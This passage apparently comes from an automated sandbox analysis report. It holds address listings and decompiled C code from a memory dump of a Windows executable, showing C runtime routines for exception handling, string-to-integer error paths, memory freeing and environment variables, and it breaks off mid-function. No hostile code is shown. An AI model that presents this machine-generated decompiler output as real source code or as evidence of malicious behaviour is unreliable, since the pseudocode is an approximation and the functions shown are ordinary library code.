0x004a1b94
0x004a1b96
0x004a1b99
0x00000000
0x00000000
0x004a1b9b
0x004a1b9e
0x00000000
0x00000000
0x004a1bac
0x004a1bae
0x004a1bb1
0x004a1bb3
0x004a1bbb
0x004a1bbb
0x004a1bbe
0x004a1bc0
0x004a1bc2
0x004a1bde
0x004a1be3
0x004a1be6
0x004a1be6
0x00000000
0x004a1bbe
0x004a1bb5
0x004a1bb9
0x00000000
0x00000000
0x00000000
0x004a1be9
0x004a1bec
0x004a1bed
0x004a1bf0
0x004a1bf3
0x004a1bf6
0x004a1bf9
0x004a1bf9
0x00000000
0x004a1b84
0x004a1c03
0x004a1c08
0x004a1c09
0x004a1c0c
0x004a1c0f
0x004a1c10
0x004a1c11
0x004a1c12
0x004a1c15
0x004a1c17
0x004a1c8f
0x004a1c91
0x004a1c91
0x004a1c19
0x004a1c19
0x004a1c1c
0x004a1c1f
0x00000000
0x004a1c21
0x004a1c21
0x004a1c24
0x004a1c27
0x004a1c2e
0x004a1c2e
0x004a1c31
0x004a1c33
0x004a1c35
0x004a1c67
0x004a1c67
0x004a1c6a
0x004a1c71
0x004a1c71
0x004a1c74
0x004a1c77
0x004a1c7e
0x004a1c7e
0x004a1c81
0x004a1c88
0x004a1c8a
0x004a1c8a
0x004a1c83
0x004a1c83
0x004a1c86
0x00000000
0x00000000
0x004a1c86
0x004a1c79
0x004a1c79
0x004a1c7c
0x00000000
0x00000000
0x004a1c7c
0x004a1c6c
0x004a1c6c
0x004a1c6f
0x00000000
0x00000000
0x004a1c6f
0x004a1c8b
0x004a1c37
0x004a1c37
0x004a1c3a
0x004a1c3a
0x004a1c3c
0x004a1c3e
0x00000000
0x00000000
0x004a1c40
0x004a1c42
0x004a1c56
0x004a1c56
0x004a1c44
0x004a1c44
0x004a1c47
0x004a1c4a
0x00000000
0x004a1c4c
0x004a1c4c
0x004a1c4f
0x004a1c52
0x004a1c54
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c54
0x004a1c4a
0x004a1c5f
0x004a1c5f
0x004a1c61
0x00000000
0x004a1c63
0x004a1c63
0x004a1c63
0x00000000
0x004a1c61
0x004a1c5a
0x004a1c5c
0x004a1c5c
0x00000000
0x004a1c5c
0x004a1c29
0x004a1c29
0x004a1c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c2c
0x004a1c27
0x004a1c1f
0x004a1c92
0x004a1c96
0x004a1c96
0x004a1755
0x004a1755
0x004a175e
0x004a1860
0x004a1860
0x00000000
0x004a178d
0x004a178d
0x004a178f
0x004a1792
0x004a1862
0x004a1862
0x004a1865
0x00000000
0x004a1798
0x004a1798
0x004a179d
0x004a17a0
0x004a1a64
0x004a1a68
0x004a17a6
0x004a17ab
0x004a17ae
0x004a17b3
0x004a17ba
0x004a17bf
0x00000000
0x004a17c5
0x004a17cb
0x004a17f7
0x004a17f7
0x004a17fc
0x004a17ff
0x004a186a
0x004a186a
0x004a186d
0x004a1870
0x004a1870
0x004a1873
0x004a1876
0x004a187c
0x004a1a33
0x004a1a33
0x004a1a36
0x00000000
0x004a1a38
0x004a1a38
0x004a1a3c
0x00000000
0x004a1a42
0x004a1a42
0x004a1a45
0x004a1a48
0x004a1a49
0x004a1a4a
0x004a1a4d
0x004a1a4e
0x004a1a51
0x004a1a52
0x004a1a57
0x00000000
0x004a1a57
0x004a1a3c
0x004a1882
0x004a1882
0x004a1886
0x00000000
0x004a188c
0x004a188c
0x004a1893
0x004a18ab
0x004a18ab
0x004a18ae
0x004a18b4
0x004a18c4
0x004a18c9
0x004a18cc
0x004a18cf
0x004a18d2
0x004a18d5
0x004a18d8
0x004a18db
0x004a18e1
0x004a18e1
0x004a18e4
0x004a18e7
0x004a18f6
0x004a18f7
0x004a18f7
0x004a18f9
0x004a18fc
0x004a1902
0x004a1905
0x004a190b
0x004a190d
0x004a1910
0x004a1913
0x004a191c
0x004a191f
0x004a1921
0x004a1921
0x004a1924
0x004a1927
0x004a192a
0x004a192d
0x004a1930
0x004a1935
0x004a1936
0x004a1937
0x004a1938
0x004a1939
0x004a193c
0x004a193e
0x004a1940
0x00000000
0x004a1942
0x004a1942
0x004a1942
0x004a1945
0x004a1948
0x004a194a
0x004a194b
0x004a1950
0x004a1953
0x004a1955
0x00000000
0x00000000
0x004a1957
0x004a1958
0x004a195b
0x004a195d
0x00000000
0x004a195f
0x004a195f
0x004a1962
0x004a1965
0x00000000
0x004a1965
0x00000000
0x004a195d
0x004a1979
0x004a197f
0x004a1983
0x004a19a0
0x004a19a5
0x004a19a5
0x004a19a8
0x004a19a8
0x00000000
0x004a1968
0x004a1968
0x004a1969
0x004a196c
0x004a196f
0x004a1972
0x004a1972
0x00000000
0x004a1977
0x004a1913
0x004a1905
0x004a19ab
0x004a19ae
0x004a19af
0x004a19b2
0x004a19b5
0x004a19b8
0x004a19bb
0x004a19bb
0x004a19c4
0x004a19c7
0x004a19c7
0x004a19c7
0x004a18db
0x004a19c9
0x004a19cd
0x004a19cf
0x004a19d2
0x004a19d8
0x004a19d8
0x004a19d9
0x004a19dd
0x004a1a5a
0x004a1a5a
0x004a1a5f
0x004a1a62
0x00000000
0x00000000
0x00000000
0x00000000
0x004a19df
0x004a19e6
0x004a19eb
0x00000000
0x004a19ed
0x004a19ed
0x004a19f1
0x004a1a03
0x004a1a09
0x004a1a0b
0x004a1a22
0x004a1a26
0x004a1a2c
0x004a1a2d
0x004a1a2f
0x00000000
0x004a1a31
0x00000000
0x004a1a31
0x004a1a0d
0x004a1a12
0x004a1a1d
0x00000000
0x004a1a1d
0x004a19f3
0x004a19f9
0x004a19fb
0x00000000
0x004a19fd
0x004a19fd
0x004a1a01
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1a01
0x004a19fb
0x004a19f1
0x004a19eb
0x004a1895
0x004a1895
0x004a189c
0x00000000
0x004a189e
0x004a189e
0x004a18a5
0x00000000
0x00000000
0x00000000
0x00000000
0x004a18a5
0x004a189c
0x004a1893
0x004a1886
0x004a1801
0x004a1809
0x004a180c
0x004a1811
0x004a1815
0x004a1821
0x00000000
0x004a1823
0x004a1823
0x004a1826
0x004a1828
0x004a1a69
0x004a1a69
0x004a182e
0x004a182e
0x004a1830
0x004a1833
0x004a184f
0x004a1850
0x004a1853
0x004a1856
0x004a1858
0x00000000
0x004a185e
0x00000000
0x004a185e
0x00000000
0x004a1858
0x004a1833
0x004a1a6e
0x004a1a6e
0x004a1a70
0x004a1a71
0x004a1a78
0x004a1a7b
0x004a1a89
0x004a1a8e
0x004a1a93
0x004a1a96
0x004a1a9b
0x004a1a9e
0x004a1aa1
0x004a1aa4
0x004a1aa6
0x004a1aa8
0x004a1aa8
0x004a1aad
0x004a1ab9
0x004a1abf
0x004a1ac4
0x004a1ac7
0x004a1ac8
0x00000000
0x004a1ac8
0x004a1821
0x004a17ee
0x004a17ee
0x004a17f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004a17f1
0x004a17cb
0x004a17bf
0x004a17a0
0x004a1792
0x004a175e

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004A1818
___TypeMatch.LIBVCRUNTIME ref: 004A194B
CatchIt.LIBVCRUNTIME ref: 004A19A0
IsInExceptionSpec.LIBVCRUNTIME ref: 004A1A26
_UnwindNestedFrames.LIBCMT ref: 004A1AAD
CallUnexpected.LIBVCRUNTIME ref: 004A1AC8

Strings

csm, xrefs: 004A1758
csm, xrefs: 004A1876
csm, xrefs: 004A17C5

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwind
String ID: csm$csm$csm
API String ID: 2378971308-393685449
Opcode ID: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction ID: 4ab6f381fd399765fc504cc7a4e68d42dbb66551b00f81a89a874517e2493f57
Opcode Fuzzy Hash: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction Fuzzy Hash: 51C17B71D002099FCF15DFA5C8819AFBBB9BF2A314F44405FE8116B222D339DA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043E2F9, Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0043E2F9(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v52;
				signed int _v72;
				signed int _v92;
				signed int _t32;
				signed int _t39;
				signed int* _t41;
				signed int _t46;
				signed int* _t48;
				signed int _t53;
				signed int* _t55;
				signed int _t60;
				signed int* _t62;
				intOrPtr* _t77;
				void* _t88;
				signed int* _t90;
				signed int* _t91;
				signed int* _t92;
				signed int* _t93;
				signed int* _t94;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr* _t99;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t113;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int _t117;

				_t88 = __edx;
				_t77 = __ecx;
				_t103 = _t113;
				_push(__ecx);
				_push(__ecx);
				_t32 =  *0x4eb018; // 0xf39dfde0
				_v8 = _t32 ^ _t103;
				_t96 = __ecx;
				_t90 = E004A966E();
				if( *((intOrPtr*)(__ecx + 0x14)) >= 0x10) {
					_t96 =  *__ecx;
				}
				 *_t90 =  *_t90 & 0x00000000;
				E004AD09C(_t77, _t96,  &_v12, 0xa);
				_t114 = _t113 + 0xc;
				if(_t96 == _v12) {
					L00488FCD("invalid stoi argument");
					goto L6;
				} else {
					_pop(_t90);
					_pop(_t96);
					if( *_t90 == 0x22) {
						L6:
						E0048900D("stoi argument out of range");
						asm("int3");
						_push(_t103);
						_t104 = _t114;
						_push(_t77);
						_push(_t77);
						_t39 =  *0x4eb018; // 0xf39dfde0
						_v32 = _t39 ^ _t104;
						_push(_t96);
						_push(_t90);
						_t97 = _t77;
						_t41 = E004A966E();
						__eflags =  *((intOrPtr*)(_t97 + 0x14)) - 0x10;
						_t91 = _t41;
						if( *((intOrPtr*)(_t97 + 0x14)) >= 0x10) {
							_t97 =  *_t97;
						}
						 *_t91 =  *_t91 & 0x00000000;
						E004AD0F4(_t77, _t97,  &_v16, 0xa);
						_t115 = _t114 + 0xc;
						__eflags = _t97 - _v16;
						if(_t97 == _v16) {
							L00488FCD("invalid stoul argument");
							goto L12;
						} else {
							__eflags =  *_t91 - 0x22;
							_pop(_t91);
							_pop(_t97);
							if( *_t91 == 0x22) {
								L12:
								E0048900D("stoul argument out of range");
								asm("int3");
								_push(_t104);
								_t105 = _t115;
								_push(_t77);
								_push(_t77);
								_t46 =  *0x4eb018; // 0xf39dfde0
								_v52 = _t46 ^ _t105;
								_push(_t97);
								_push(_t91);
								_t98 = _t77;
								_t48 = E004A966E();
								__eflags =  *((intOrPtr*)(_t98 + 0x14)) - 0x10;
								_t92 = _t48;
								if( *((intOrPtr*)(_t98 + 0x14)) >= 0x10) {
									_t98 =  *_t98;
								}
								 *_t92 =  *_t92 & 0x00000000;
								E004AD0C8(_t77, _t98,  &_v20, 0xa);
								_t116 = _t115 + 0xc;
								__eflags = _t98 - _v20;
								if(_t98 == _v20) {
									L00488FCD("invalid stoll argument");
									goto L18;
								} else {
									__eflags =  *_t92 - 0x22;
									_pop(_t92);
									_pop(_t98);
									if( *_t92 == 0x22) {
										L18:
										E0048900D("stoll argument out of range");
										asm("int3");
										_push(_t105);
										_t106 = _t116;
										_push(_t77);
										_push(_t77);
										_t53 =  *0x4eb018; // 0xf39dfde0
										_v72 = _t53 ^ _t106;
										_push(_t98);
										_push(_t92);
										_t99 = _t77;
										_t55 = E004A966E();
										__eflags =  *((intOrPtr*)(_t99 + 0x14)) - 0x10;
										_t93 = _t55;
										if( *((intOrPtr*)(_t99 + 0x14)) >= 0x10) {
											_t99 =  *_t99;
										}
										 *_t93 =  *_t93 & 0x00000000;
										E004AD120(_t77, _t99,  &_v24, 0x10);
										_t117 = _t116 + 0xc;
										__eflags = _t99 - _v24;
										if(_t99 == _v24) {
											L00488FCD("invalid stoull argument");
											goto L24;
										} else {
											__eflags =  *_t93 - 0x22;
											_pop(_t93);
											_pop(_t99);
											if( *_t93 == 0x22) {
												L24:
												E0048900D("stoull argument out of range");
												asm("int3");
												_push(_t106);
												_t107 = _t117;
												_push(_t77);
												_push(_t77);
												_t60 =  *0x4eb018; // 0xf39dfde0
												_v92 = _t60 ^ _t107;
												_push(_t99);
												_push(_t93);
												_t100 = _t77;
												_t62 = E004A966E();
												__eflags =  *((intOrPtr*)(_t100 + 0x14)) - 8;
												_t94 = _t62;
												if( *((intOrPtr*)(_t100 + 0x14)) >= 8) {
													_t100 =  *_t100;
												}
												 *_t94 =  *_t94 & 0x00000000;
												E004AD178(_t77, _t100,  &_v28, 0xa);
												__eflags = _t100 - _v28;
												if(_t100 == _v28) {
													L00488FCD("invalid stoll argument");
													goto L30;
												} else {
													__eflags =  *_t94 - 0x22;
													_pop(_t94);
													_pop(_t100);
													if( *_t94 == 0x22) {
														L30:
														E0048900D("stoll argument out of range");
														asm("int3");
														_push(8);
														L0049D90B(0x4c567f, _t94, _t100);
														_t101 = _t77;
														_v40 = _t77;
														_v36 = _v36 & 0x00000000;
														L00481E8C(_t77, _t88, _t94, _t77, __eflags);
														_t29 =  &_v24;
														 *_t29 = _v24 & 0x00000000;
														__eflags =  *_t29;
														_v36 = 1;
														return L0049D8D4(_t101);
													} else {
														__eflags = _v24 ^ _t107;
														return L0049CE1D(_v24 ^ _t107);
													}
												}
											} else {
												__eflags = _v20 ^ _t106;
												return L0049CE1D(_v20 ^ _t106);
											}
										}
									} else {
										__eflags = _v16 ^ _t105;
										return L0049CE1D(_v16 ^ _t105);
									}
								}
							} else {
								__eflags = _v12 ^ _t104;
								return L0049CE1D(_v12 ^ _t104);
							}
						}
					} else {
						return L0049CE1D(_v8 ^ _t103);
					}
				}
			}

0x0043e2f9
0x0043e2f9
0x0043e2fa
0x0043e2fc
0x0043e2fd
0x0043e2fe
0x0043e305
0x0043e30a
0x0043e315
0x0043e317
0x0043e319
0x0043e319
0x0043e31b
0x0043e325
0x0043e32a
0x0043e330
0x0043e34a
0x00000000
0x0043e332
0x0043e335
0x0043e336
0x0043e337
0x0043e34f
0x0043e354
0x0043e359
0x0043e35a
0x0043e35b
0x0043e35d
0x0043e35e
0x0043e35f
0x0043e366
0x0043e369
0x0043e36a
0x0043e36b
0x0043e36d
0x0043e372
0x0043e376
0x0043e378
0x0043e37a
0x0043e37a
0x0043e37c
0x0043e386
0x0043e38b
0x0043e38e
0x0043e391
0x0043e3ab
0x00000000
0x0043e393
0x0043e393
0x0043e396
0x0043e397
0x0043e398
0x0043e3b0
0x0043e3b5
0x0043e3ba
0x0043e3bb
0x0043e3bc
0x0043e3be
0x0043e3bf
0x0043e3c0
0x0043e3c7
0x0043e3ca
0x0043e3cb
0x0043e3cc
0x0043e3ce
0x0043e3d3
0x0043e3d7
0x0043e3d9
0x0043e3db
0x0043e3db
0x0043e3dd
0x0043e3e7
0x0043e3ec
0x0043e3ef
0x0043e3f2
0x0043e40c
0x00000000
0x0043e3f4
0x0043e3f4
0x0043e3f7
0x0043e3f8
0x0043e3f9
0x0043e411
0x0043e416
0x0043e41b
0x0043e41c
0x0043e41d
0x0043e41f
0x0043e420
0x0043e421
0x0043e428
0x0043e42b
0x0043e42c
0x0043e42d
0x0043e42f
0x0043e434
0x0043e438
0x0043e43a
0x0043e43c
0x0043e43c
0x0043e43e
0x0043e448
0x0043e44d
0x0043e450
0x0043e453
0x0043e46d
0x00000000
0x0043e455
0x0043e455
0x0043e458
0x0043e459
0x0043e45a
0x0043e472
0x0043e477
0x0043e47c
0x0043e47d
0x0043e47e
0x0043e480
0x0043e481
0x0043e482
0x0043e489
0x0043e48c
0x0043e48d
0x0043e48e
0x0043e490
0x0043e495
0x0043e499
0x0043e49b
0x0043e49d
0x0043e49d
0x0043e49f
0x0043e4a9
0x0043e4b1
0x0043e4b4
0x0043e4ce
0x00000000
0x0043e4b6
0x0043e4b6
0x0043e4b9
0x0043e4ba
0x0043e4bb
0x0043e4d3
0x0043e4d8
0x0043e4dd
0x0043e4de
0x0043e4e5
0x0043e4ea
0x0043e4ec
0x0043e4ef
0x0043e4f3
0x0043e4f8
0x0043e4f8
0x0043e4f8
0x0043e4fc
0x0043e50a
0x0043e4bd
0x0043e4c0
0x0043e4c8
0x0043e4c8
0x0043e4bb
0x0043e45c
0x0043e45f
0x0043e467
0x0043e467
0x0043e45a
0x0043e3fb
0x0043e3fe
0x0043e406
0x0043e406
0x0043e3f9
0x0043e39a
0x0043e39d
0x0043e3a5
0x0043e3a5
0x0043e398
0x0043e339
0x0043e344
0x0043e344
0x0043e337

APIs

Part of subcall function 00488FCD: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00488FD9

Part of subcall function 0048900D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00489019

__EH_prolog3.LIBCMT ref: 0043E4E5

Part of subcall function 00481E8C: __EH_prolog3_GS.LIBCMT ref: 00481E93

Strings

stoull argument out of range, xrefs: 0043E472
invalid stoi argument, xrefs: 0043E345
invalid stoull argument, xrefs: 0043E468
stoll argument out of range, xrefs: 0043E411, 0043E4D3
invalid stoll argument, xrefs: 0043E407, 0043E4C9
invalid stoul argument, xrefs: 0043E3A6
stoul argument out of range, xrefs: 0043E3B0
stoi argument out of range, xrefs: 0043E34F

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$H_prolog3H_prolog3_
String ID: invalid stoi argument$invalid stoll argument$invalid stoul argument$invalid stoull argument$stoi argument out of range$stoll argument out of range$stoul argument out of range$stoull argument out of range
API String ID: 3311459110-713895927
Opcode ID: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction ID: 71a53767b0b32d58ad89a8a73b3650285488d8a52666623cfe33ea411ebaff05
Opcode Fuzzy Hash: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction Fuzzy Hash: C051E831A01318BBCF24BF569842ADEB7A8DF19715F50046FF50167281DB786F448BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004B3527, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004B3527(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x406610) {
					E004B2FCF(_t52);
					_t26 = _a4;
				}
				E004B2FCF( *((intOrPtr*)(_t26 + 0x3c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x30)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x34)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x38)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x28)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x2c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x40)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x44)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E004B33ED(5,  &_v8);
				_v8 =  &_a4;
				return E004B343D(4,  &_v8);
			}

0x004b352d
0x004b3530
0x004b3538
0x004b353b
0x004b3540
0x004b3543
0x004b3547
0x004b3552
0x004b355d
0x004b3568
0x004b3573
0x004b357e
0x004b3589
0x004b3594
0x004b35a2
0x004b35aa
0x004b35b3
0x004b35bb
0x004b35cf

APIs

_free.LIBCMT ref: 004B353B

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004B3547
_free.LIBCMT ref: 004B3552
_free.LIBCMT ref: 004B355D
_free.LIBCMT ref: 004B3568
_free.LIBCMT ref: 004B3573
_free.LIBCMT ref: 004B357E
_free.LIBCMT ref: 004B3589
_free.LIBCMT ref: 004B3594
_free.LIBCMT ref: 004B35A2

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction ID: e988418e3e9fb48537df3c9a35a01565191db5c941df199364002db7ffe31753
Opcode Fuzzy Hash: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction Fuzzy Hash: 1011B975100108BFCB01FF56C942CED7BB6EF04354B4145ABF9084F666DA75DE50AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004BC505, Relevance: 12.2, APIs: 8, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004BC505(signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				signed int _t68;
				signed int _t69;
				signed int _t73;
				signed int* _t75;
				signed int _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				signed int _t98;
				intOrPtr* _t99;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				void* _t119;
				signed int _t121;
				void* _t124;
				signed int _t125;
				signed int _t126;
				void* _t131;
				intOrPtr* _t135;
				signed int _t139;
				signed int _t141;
				void* _t142;
				void* _t143;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int* _t156;
				signed int _t157;
				signed int _t159;
				void* _t164;
				void* _t166;
				void* _t167;

				_t111 = _a4;
				if(_t111 != 0) {
					_t144 = _t111;
					_t58 = E004C4160(_t111, 0x3d);
					_v16 = _t58;
					_t119 = _t143;
					__eflags = _t58;
					if(_t58 == 0) {
						L10:
						 *((intOrPtr*)(E004A966E())) = 0x16;
						goto L11;
					} else {
						__eflags = _t58 - _t111;
						if(_t58 == _t111) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t58 + 1));
							_t152 =  *0x4ee6c8; // 0x1095498
							_t62 = _t58 & 0xffffff00 |  *((char*)(_t58 + 1)) == 0x00000000;
							_v5 = _t62;
							__eflags = _t152 -  *0x4ee6d4; // 0x1095498
							if(__eflags == 0) {
								L44();
								_t152 = _t62;
								_t62 = _v5;
								_t119 = _t152;
								 *0x4ee6c8 = _t152;
							}
							_t112 = 0;
							__eflags = _t152;
							if(_t152 != 0) {
								L21:
								_t121 = _t144;
								_t64 = _v16 - _t121;
								_push(_t64);
								_push(_t121);
								L61();
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 < 0) {
									L29:
									__eflags = _v5 - _t112;
									if(_v5 != _t112) {
										goto L12;
									} else {
										_t65 =  ~_t64;
										_v12 = _t65;
										_t27 = _t65 + 2; // 0x2
										_t124 = _t27;
										__eflags = _t124 - _t65;
										if(_t124 < _t65) {
											goto L11;
										} else {
											__eflags = _t124 - 0x3fffffff;
											if(_t124 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t124);
												_t153 = L004B2CEB(_t152);
												E004B2FCF(_t112);
												_t166 = _t166 + 0x10;
												__eflags = _t153;
												if(_t153 == 0) {
													goto L11;
												} else {
													_t125 = _v12;
													_t144 = _t112;
													_t68 = _a4;
													 *(_t153 + _t125 * 4) = _t68;
													 *(_t153 + 4 + _t125 * 4) = _t112;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t152 - _t112;
									if( *_t152 == _t112) {
										goto L29;
									} else {
										E004B2FCF( *((intOrPtr*)(_t152 + _t64 * 4)));
										_t141 = _v12;
										__eflags = _v5 - _t112;
										if(_v5 != _t112) {
											while(1) {
												__eflags =  *(_t152 + _t141 * 4) - _t112;
												if( *(_t152 + _t141 * 4) == _t112) {
													break;
												}
												_t19 = _t141 * 4; // 0x10a14b0
												 *(_t152 + _t141 * 4) =  *(_t152 + _t19 + 4);
												_t141 = _t141 + 1;
												__eflags = _t141;
											}
											_push(4);
											_push(_t141);
											_t153 = L004B2CEB(_t152);
											E004B2FCF(_t112);
											_t166 = _t166 + 0x10;
											_t68 = _t144;
											__eflags = _t153;
											if(_t153 != 0) {
												L34:
												 *0x4ee6c8 = _t153;
											}
										} else {
											_t68 = _a4;
											_t144 = _t112;
											 *(_t152 + _t141 * 4) = _t68;
										}
										__eflags = _a8 - _t112;
										if(_a8 == _t112) {
											goto L12;
										} else {
											_t126 = _t68;
											_t142 = _t126 + 1;
											do {
												_t69 =  *_t126;
												_t126 = _t126 + 1;
												__eflags = _t69;
											} while (_t69 != 0);
											_v12 = _t126 - _t142 + 2;
											_t154 = E004B2F72(_t126 - _t142, _t126 - _t142 + 2, 1);
											_pop(_t129);
											__eflags = _t154;
											if(_t154 == 0) {
												L42:
												E004B2FCF(_t154);
												goto L12;
											} else {
												_t73 = E004AD3A2(_t154, _v12, _a4);
												_t167 = _t166 + 0xc;
												__eflags = _t73;
												if(_t73 != 0) {
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													L004A5EA4(_t73);
													asm("int3");
													_t164 = _t167;
													_push(_t144);
													_t146 = _v44;
													__eflags = _t146;
													if(_t146 != 0) {
														_t131 = 0;
														_t75 = _t146;
														__eflags =  *_t146;
														if( *_t146 != 0) {
															do {
																_t75 =  &(_t75[1]);
																_t131 = _t131 + 1;
																__eflags =  *_t75;
															} while ( *_t75 != 0);
														}
														_push(_t154);
														_t47 = _t131 + 1; // 0x2
														_t155 = E004B2F72(_t131, _t47, 4);
														__eflags = _t155;
														if(_t155 == 0) {
															L59:
															L004AEA83(_t112, _t142, _t146, _t155);
															goto L60;
														} else {
															__eflags =  *_t146;
															if( *_t146 == 0) {
																L57:
																E004B2FCF(0);
																_t86 = _t155;
																goto L58;
															} else {
																_push(_t112);
																_t112 = _t155 - _t146;
																__eflags = _t112;
																do {
																	_t135 =  *_t146;
																	_t48 = _t135 + 1; // 0x5
																	_t142 = _t48;
																	do {
																		_t87 =  *_t135;
																		_t135 = _t135 + 1;
																		__eflags = _t87;
																	} while (_t87 != 0);
																	_t49 = _t135 - _t142 + 1; // 0x6
																	_v12 = _t49;
																	 *(_t112 + _t146) = E004B2F72(_t135 - _t142, _t49, 1);
																	E004B2FCF(0);
																	_t167 = _t167 + 0xc;
																	__eflags =  *(_t112 + _t146);
																	if( *(_t112 + _t146) == 0) {
																		goto L59;
																	} else {
																		_t91 = E004AD3A2( *(_t112 + _t146), _v12,  *_t146);
																		_t167 = _t167 + 0xc;
																		__eflags = _t91;
																		if(_t91 != 0) {
																			L60:
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			L004A5EA4(0);
																			asm("int3");
																			_push(_t164);
																			_push(_t112);
																			_push(_t155);
																			_push(_t146);
																			_t147 =  *0x4ee6c8; // 0x1095498
																			_t156 = _t147;
																			__eflags =  *_t147;
																			if( *_t147 == 0) {
																				L67:
																				_t157 = _t156 - _t147;
																				__eflags = _t157;
																				_t159 =  ~(_t157 >> 2);
																			} else {
																				_t115 = _v0;
																				do {
																					_t82 = E004B909A(_v4,  *_t156, _t115);
																					_t167 = _t167 + 0xc;
																					__eflags = _t82;
																					if(_t82 != 0) {
																						goto L66;
																					} else {
																						_t84 =  *((intOrPtr*)(_t115 +  *_t156));
																						__eflags = _t84 - 0x3d;
																						if(_t84 == 0x3d) {
																							L69:
																							_t159 = _t156 - _t147 >> 2;
																						} else {
																							__eflags = _t84;
																							if(_t84 == 0) {
																								goto L69;
																							} else {
																								goto L66;
																							}
																						}
																					}
																					goto L68;
																					L66:
																					_t156 =  &(_t156[1]);
																					__eflags =  *_t156;
																				} while ( *_t156 != 0);
																				goto L67;
																			}
																			L68:
																			return _t159;
																		} else {
																			goto L55;
																		}
																	}
																	goto L70;
																	L55:
																	_t146 = _t146 + 4;
																	__eflags =  *_t146 - _t91;
																} while ( *_t146 != _t91);
																goto L57;
															}
														}
													} else {
														_t86 = 0;
														L58:
														return _t86;
													}
												} else {
													_t139 = _v16 + 1 + _t154 - _a4;
													asm("sbb eax, eax");
													 *(_t139 - 1) = _t112;
													_t98 =  *0x4f0244(_t154,  !( ~(_v5 & 0x000000ff)) & _t139);
													__eflags = _t98;
													if(_t98 == 0) {
														_t99 = E004A966E();
														_t112 = _t112 | 0xffffffff;
														__eflags = _t112;
														 *_t99 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t62;
									if(_t62 == 0) {
										 *0x4ee6c8 = E004B2F72(_t119, 1, 4);
										E004B2FCF(_t112);
										_t152 =  *0x4ee6c8; // 0x1095498
										_t166 = _t166 + 0xc;
										__eflags = _t152;
										if(_t152 == 0) {
											goto L11;
										} else {
											__eflags =  *0x4ee6cc - _t112; // 0x0
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x4ee6cc = E004B2F72(_t119, 1, 4);
												E004B2FCF(_t112);
												_t166 = _t166 + 0xc;
												__eflags =  *0x4ee6cc - _t112; // 0x0
												if(__eflags == 0) {
													goto L11;
												} else {
